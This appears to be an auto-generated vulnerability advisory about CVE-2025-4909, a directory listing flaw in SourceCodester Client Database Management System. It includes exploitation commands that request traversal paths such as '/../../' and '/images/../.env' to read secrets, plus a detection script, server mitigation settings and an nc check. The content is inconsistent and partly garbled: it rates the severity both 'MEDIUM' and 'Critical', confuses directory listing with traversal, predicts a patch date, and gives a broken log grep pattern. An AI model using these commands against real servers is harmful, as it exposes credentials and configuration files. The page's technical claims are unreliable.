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How CVE-2025-4909 Works
This vulnerability exploits improper directory listing permissions in SourceCodester Client Database Management System 1.0, allowing remote attackers to access sensitive files without authentication. The system fails to restrict directory traversal, exposing configuration files, logs, and database backups. Attackers send crafted HTTP requests (e.g., GET /../../) to enumerate directories. The flaw stems from missing access controls in Apache/NGINX configurations and insecure PHP file handling. CVSS 4.0 rates it 6.9 (MEDIUM) due to low attack complexity (AC:L) and network-based exploitation (AV:N). Public exploits leverage this to extract credentials or escalate privileges.
DailyCVE Form
Platform: SourceCodester CDMS
Version: 1.0
Vulnerability: Directory Listing
Severity: Critical
Date: 2025-05-28
Prediction: Patch by 2025-06-15
What Undercode Say:
Exploitation Commands:
curl -X GET "http://target.com/../../" -H "User-Agent: Exploit" wget --spider "http://target.com/images/../.env"
Detection Script (Python):
import requests
vuln_url = "http://target.com/../../"
response = requests.get(vuln_url)
if "Index of /" in response.text:
print("[+] Vulnerable to CVE-2025-4909")
Mitigation Steps:
1. Apache:
<Directory /var/www/html> Options -Indexes </Directory>
2. NGINX:
autoindex off;
3. PHP:
ini_set('expose_php', 'Off');
Analytics:
- Attack Vector: Remote (HTTP)
- Privilege Required: None
- Exploitability: 8/10 (Public PoCs available)
- Affected Components: Web root directories, backup files
Log Analysis Command:
grep "GET..." /var/log/apache2/access.log
Patch Verification:
echo "GET /../../ HTTP/1.1" | nc target.com 80 | grep "403 Forbidden"
References:
Sources:
Reported By: nvd.nist.gov
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